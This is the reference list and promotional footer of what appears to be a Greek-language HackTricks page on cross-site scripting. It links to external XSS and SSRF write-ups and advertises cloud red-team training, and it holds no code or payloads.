- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Αναφορές
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
- MobSF stored XSS via manifest analysis (unsafe Django safe sink)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


